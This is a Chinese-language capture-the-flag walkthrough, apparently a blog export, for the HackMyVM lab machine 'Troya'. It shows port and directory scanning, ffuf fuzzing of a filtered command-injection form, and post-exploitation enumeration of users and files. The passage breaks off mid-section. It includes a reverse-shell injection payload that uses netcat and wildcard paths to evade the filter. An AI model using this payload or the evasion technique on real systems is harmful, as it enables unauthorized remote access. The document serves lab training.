{"id":925,"date":"2025-06-28T02:37:35","date_gmt":"2025-06-27T18:37:35","guid":{"rendered":"http:\/\/162.14.82.114\/?p=925"},"modified":"2025-06-28T02:37:35","modified_gmt":"2025-06-27T18:37:35","slug":"hmv-_-troya","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/925\/06\/28\/2025\/","title":{"rendered":"hmv [-_-] Troya"},"content":{"rendered":"<h1>Troya<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237434.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237434.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250626073336827\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237436.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237436.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627223609101\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Troya]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog         :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83c\udf0dHACK THE PLANET\ud83c\udf0d\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.10.106:22\nOpen 192.168.10.106:80\n\nPORT   STATE SERVICE REASON         VERSION\n22\/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 b0:b8:5e:2c:41:b8:7c:c8:20:e8:09:ff:7a:6f:ff:9f (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGzDvMiSzAKx8LgRHQSGCjYQnRMIvZ3UuVvF2HOjumUrcKqsmhoqrt+r2xW6LWnViU5vLLQJrpwaoBCZPAAamZSQRttehcSjJE9JcBLg2wYC2oiMCBQ1k+QL\/Iknc+eTPRVNUDKFMaOUpdbPSX2glm+m6TpA52MRS1OFqZkFsuvwM3D3iRfpB5FecYSe6ihuUaUm\/O5z72rJIOsStfkM6Qe8NqnDF0DfD7vSCEiFenNJZT8djSFMQO+Bg8dXwlp6aCb8G9VWQwyjrgxTcDMv20nWvocQcRy2fNO8qC1WPRBZhVl\/LjGC9eBjmH1bRHZ3ydcdZChbOa3KrdVkSxpfbF\n|   256 3f:44:9f:25:14:99:40:17:e0:07:1f:2e:67:de:78:18 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEbFsO3VVPjlgJmE+s21fQoDV+WrOZALhTfD04WHrfn9cqqR3oLdkHW9DswbrxAS7fmvVN2t9IgXmcaJhXyXJtI=\n|   256 c4:0e:93:55:b2:7b:8c:86:c3:e4:6d:01:93:60:d2:b1 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOGTvnYiwMPSizNaaMbsjAbUAtRzcmAf71bfuB6mg++I\n80\/tcp open  http    syn-ack ttl 64 nginx 1.14.2\n|_http-title: Site doesn&#039;t have a title (text\/html; charset=UTF-8).\n|_http-server-header: nginx\/1.14.2\n| http-methods: \n|_  Supported Methods: GET HEAD POST\nMAC Address: 08:00:27:DA:71:C5 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Troya]\n\u2514\u2500$ feroxbuster -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x html txt php            \n\n ___  ___  __   __     __      __         __   ___\n|__  |__  |__) |__) | \/  `    \/  \\ \\_\/ | |  \\ |__\n|    |___ |  \\ |  \\ | \\__,    \\__\/ \/ \\ | |__\/ |___\nby Ben &quot;epi&quot; Risher \ud83e\udd13                 ver: 2.11.0\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfaf  Target Url            \u2502 http:\/\/192.168.10.106\/\n \ud83d\ude80  Threads               \u2502 50\n \ud83d\udcd6  Wordlist              \u2502 \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n \ud83d\udc4c  Status Codes          \u2502 All Status Codes!\n \ud83d\udca5  Timeout (secs)        \u2502 7\n \ud83e\udda1  User-Agent            \u2502 feroxbuster\/2.11.0\n \ud83d\udc89  Config File           \u2502 \/etc\/feroxbuster\/ferox-config.toml\n \ud83d\udd0e  Extract Links         \u2502 true\n \ud83d\udcb2  Extensions            \u2502 [html, txt, php]\n \ud83c\udfc1  HTTP methods          \u2502 [GET]\n \ud83d\udd03  Recursion Depth       \u2502 4\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfc1  Press [ENTER] to use the Scan Management Menu\u2122\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n404      GET        7l       12w      169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter\n200      GET       11l       15w      153c http:\/\/192.168.10.106\/index.php\n200      GET       11l       15w      153c http:\/\/192.168.10.106\/<\/code><\/pre>\n<p>\u626b\u4e86\u4e00\u534a\u5565\u90fd\u6ca1\u6709\uff0c\u4e0d\u626b\u4e86\u3002\u3002\u3002\u3002<\/p>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Troya]\n\u2514\u2500$ whatweb http:\/\/$IP\nhttp:\/\/192.168.10.106 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx\/1.14.2], IP[192.168.10.106], nginx[1.14.2]<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237437.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237437.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627223751195\" style=\"zoom:33%;\" \/><\/div><\/p>\n<pre><code class=\"language-html\">&lt;html&gt;\n&lt;body&gt;\n&lt;form method=&quot;post&quot; action=&quot;\/index.php&quot;&gt;\n  Enter ip: &lt;input type=&quot;text&quot; name=&quot;command&quot;&gt;\n  &lt;input type=&quot;submit&quot;&gt;\n&lt;\/form&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<h3>\u6d4b\u8bd5\u8f93\u5165\u6846<\/h3>\n<p>\u8f93\u5165<code>127.0.0.1<\/code>\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237438.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237438.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627223838676\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>&amp;|;&#039;&lt;&gt;<\/code>\u7b49\u7b26\u53f7\u8fdb\u884c\u6d4b\u8bd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237439.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237439.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627223943917\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u770b\u6765\u5b58\u5728\u90e8\u5206\u8fc7\u6ee4\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u5bf9\u5176\u8fdb\u884c\u6a21\u7cca\u6d4b\u8bd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237440.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237440.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627224656596\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Troya]\n\u2514\u2500$ ffuf -u http:\/\/$IP\/index.php -c -w \/usr\/share\/seclists\/Fuzzing\/alphanum-case.txt -d &#039;command=FUZZ&#039; -H &#039;Content-Type: application\/x-www-form-urlencoded&#039; -fw 16\n\n        \/&#039;___\\  \/&#039;___\\           \/&#039;___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : POST\n :: URL              : http:\/\/192.168.10.106\/index.php\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Fuzzing\/alphanum-case.txt\n :: Header           : Content-Type: application\/x-www-form-urlencoded\n :: Data             : command=FUZZ\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response words: 16\n________________________________________________\n\nh                       [Status: 200, Size: 180, Words: 15, Lines: 12, Duration: 60ms]\ni                       [Status: 200, Size: 180, Words: 15, Lines: 12, Duration: 64ms]\ns                       [Status: 200, Size: 180, Words: 15, Lines: 12, Duration: 72ms]\na                       [Status: 200, Size: 180, Words: 15, Lines: 12, Duration: 151ms]\n:: Progress: [62\/62] :: Job [1\/1] :: 0 req\/sec :: Duration: [0:00:00] :: Errors: 0 ::<\/code><\/pre>\n<p>\u5982\u4e0a\u6d4b\u8bd5\u51fa\u6765\u7684\u5b57\u7b26\u4e0d\u80fd\u5229\u7528\uff01<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Troya]\n\u2514\u2500$ ffuf -u http:\/\/$IP\/index.php -c -w \/usr\/share\/seclists\/Fuzzing\/alphanum-case-extra.txt -d &#039;command=FUZZ&#039; -H &#039;Content-Type: application\/x-www-form-urlencoded&#039; -fr &quot;No&quot;\n\n        \/&#039;___\\  \/&#039;___\\           \/&#039;___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : POST\n :: URL              : http:\/\/192.168.10.106\/index.php\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Fuzzing\/alphanum-case-extra.txt\n :: Header           : Content-Type: application\/x-www-form-urlencoded\n :: Data             : command=FUZZ\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Regexp: No\n________________________________________________\n\n+                       [Status: 200, Size: 164, Words: 12, Lines: 12, Duration: 55ms]\n\/                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 79ms]\nH                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 89ms]\n0                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 124ms]\n,                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 137ms]\n!                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 156ms]\n&amp;                       [Status: 200, Size: 164, Words: 12, Lines: 12, Duration: 180ms]\n1                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 192ms]\n.                       [Status: 200, Size: 193, Words: 16, Lines: 13, Duration: 219ms]\n3                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 256ms]\n2                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 260ms]\n-                       [Status: 200, Size: 164, Words: 12, Lines: 12, Duration: 283ms]\n4                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 329ms]\n5                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 337ms]\n(                       [Status: 200, Size: 164, Words: 12, Lines: 12, Duration: 344ms]\n)                       [Status: 200, Size: 164, Words: 12, Lines: 12, Duration: 359ms]\n6                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 379ms]\n7                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 407ms]\n8                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 419ms]\n9                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 447ms]\n:                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 461ms]\n$                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 495ms]\n@                       [Status: 200, Size: 193, Words: 16, Lines: 13, Duration: 520ms]\nA                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 537ms]\n?                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 546ms]\nB                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 581ms]\nD                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 592ms]\nC                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 625ms]\nE                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 670ms]\nF                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 681ms]\nG                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 690ms]\nI                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 690ms]\nJ                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 674ms]\nK                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 668ms]\nL                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 698ms]\nM                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 691ms]\nN                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 696ms]\nP                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 758ms]\nQ                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 764ms]\nO                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 785ms]\nR                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 751ms]\nS                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 807ms]\nT                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 805ms]\nV                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 784ms]\nU                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 797ms]\nX                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 838ms]\nW                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 847ms]\nZ                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 786ms]\nY                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 836ms]\n\\                       [Status: 200, Size: 164, Words: 12, Lines: 12, Duration: 816ms]\n[                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 870ms]\nb                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 759ms]\n_                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 805ms]\n]                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 873ms]\nf                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 839ms]\nc                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 863ms]\ne                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 865ms]\nd                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 872ms]\ng                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 887ms]\nk                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 832ms]\nj                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 899ms]\nl                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 865ms]\nm                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 860ms]\nn                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 826ms]\no                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 835ms]\np                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 879ms]\nq                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 828ms]\nt                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 780ms]\nr                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 857ms]\nv                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 825ms]\nu                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 850ms]\nx                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 770ms]\nw                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 788ms]\n|                       [Status: 200, Size: 164, Words: 12, Lines: 12, Duration: 728ms]\ny                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 817ms]\nz                       [Status: 200, Size: 194, Words: 16, Lines: 13, Duration: 817ms]\n                        [Status: 200, Size: 164, Words: 12, Lines: 12, Duration: 658ms]\n:: Progress: [95\/95] :: Job [1\/1] :: 55 req\/sec :: Duration: [0:00:01] :: Errors: 0 ::<\/code><\/pre>\n<p>\u53ef\u4ee5\u5229\u7528\u7684\u5728\u8fd9\u91cc\u3002\u3002\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u53cd\u5f39shell\uff0c\u5b9e\u6218\u53d1\u73b0<code>&amp;<\/code>\u4e5f\u4e0d\u884c\uff1a<\/p>\n<pre><code class=\"language-bash\">| nc 192.168.10.107 1234 -e \/b?n\/b???<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237441.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237441.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627230048948\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">(remote) www-data@troya:\/var\/www\/html$ ls -la\ntotal 16\ndrwxr-xr-x 2 root root 4096 Oct 22  2020 .\ndrwxr-xr-x 3 root root 4096 Oct 22  2020 ..\n-rw-r--r-- 1 root root  518 Oct 22  2020 index.php\n-rw-r--r-- 1 root root   13 Oct 22  2020 secret.pdf\n(remote) www-data@troya:\/var\/www\/html$ cat secret.pdf \ncGF6endvcmQK\n(remote) www-data@troya:\/var\/www\/html$ cat \/etc\/passwd | grep sh | cut -d: -f1\nroot\npaul\nsshd\nhector\nhelena\n(remote) www-data@troya:\/var\/www\/html$ ls -la \/home\ntotal 20\ndrwxr-xr-x  5 root   root   4096 Oct 22  2020 .\ndrwxr-xr-x 18 root   root   4096 Oct 22  2020 ..\ndrwxr-xr-x  2 hector hector 4096 Oct 22  2020 hector\ndrwxr-xr-x  3 helena helena 4096 Oct 22  2020 helena\ndrwxr-xr-x  2 paul   paul   4096 Oct 22  2020 paul\n(remote) www-data@troya:\/var\/www\/html$ cd \/home\/hector\/\n(remote) www-data@troya:\/home\/hector$ ls -la\ntotal 20\ndrwxr-xr-x 2 hector hector 4096 Oct 22  2020 .\ndrwxr-xr-x 5 root   root   4096 Oct 22  2020 ..\n-rw-r--r-- 1 hector hector  220 Oct 22  2020 .bash_logout\n-rw-r--r-- 1 hector hector 3526 Oct 22  2020 .bashrc\n-rw-r--r-- 1 hector hector  807 Oct 22  2020 .profile\n(remote) www-data@troya:\/home\/hector$ cd ..\/helena\/\n(remote) www-data@troya:\/home\/helena$ ls -la\ntotal 28\ndrwxr-xr-x 3 helena helena 4096 Oct 22  2020 .\ndrwxr-xr-x 5 root   root   4096 Oct 22  2020 ..\n-rw-r--r-- 1 helena helena  220 Oct 22  2020 .bash_logout\n-rw-r--r-- 1 helena helena 3526 Oct 22  2020 .bashrc\ndrwxr-xr-x 3 helena helena 4096 Oct 22  2020 .local\n-rw-r--r-- 1 helena helena  807 Oct 22  2020 .profile\n-rw------- 1 helena helena   11 Oct 22  2020 user.txt\n(remote) www-data@troya:\/home\/helena$ cd .local\/\n(remote) www-data@troya:\/home\/helena\/.local$ ls -la\ntotal 12\ndrwxr-xr-x 3 helena helena 4096 Oct 22  2020 .\ndrwxr-xr-x 3 helena helena 4096 Oct 22  2020 ..\ndrwx------ 3 helena helena 4096 Oct 22  2020 share\n(remote) www-data@troya:\/home\/helena\/.local$ cd ..\/..\/paul\/\n(remote) www-data@troya:\/home\/paul$ ls -la\ntotal 24\ndrwxr-xr-x 2 paul paul 4096 Oct 22  2020 .\ndrwxr-xr-x 5 root root 4096 Oct 22  2020 ..\n-rw------- 1 paul paul   51 Oct 22  2020 .Xauthority\n-rw-r--r-- 1 paul paul  220 Oct 22  2020 .bash_logout\n-rw-r--r-- 1 paul paul 3526 Oct 22  2020 .bashrc\n-rw-r--r-- 1 paul paul  807 Oct 22  2020 .profile<\/code><\/pre>\n<h3>\u6570\u636e\u5e93\u6cc4\u9732<\/h3>\n<p>\u5f97\u5230\u7684\u90a3\u4e2a<code>secret.pdf<\/code>\u80af\u5b9a\u662f\u6709\u7528\u7684\uff0c\u770b\u8d77\u6765\u602a\u602a\u7684\uff0c\u770b\u4e00\u4e0b\u662f\u5426\u662f\u52a0\u5bc6\u4e86\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237442.png'><img class=\"lazyload lazyload-style-2\" 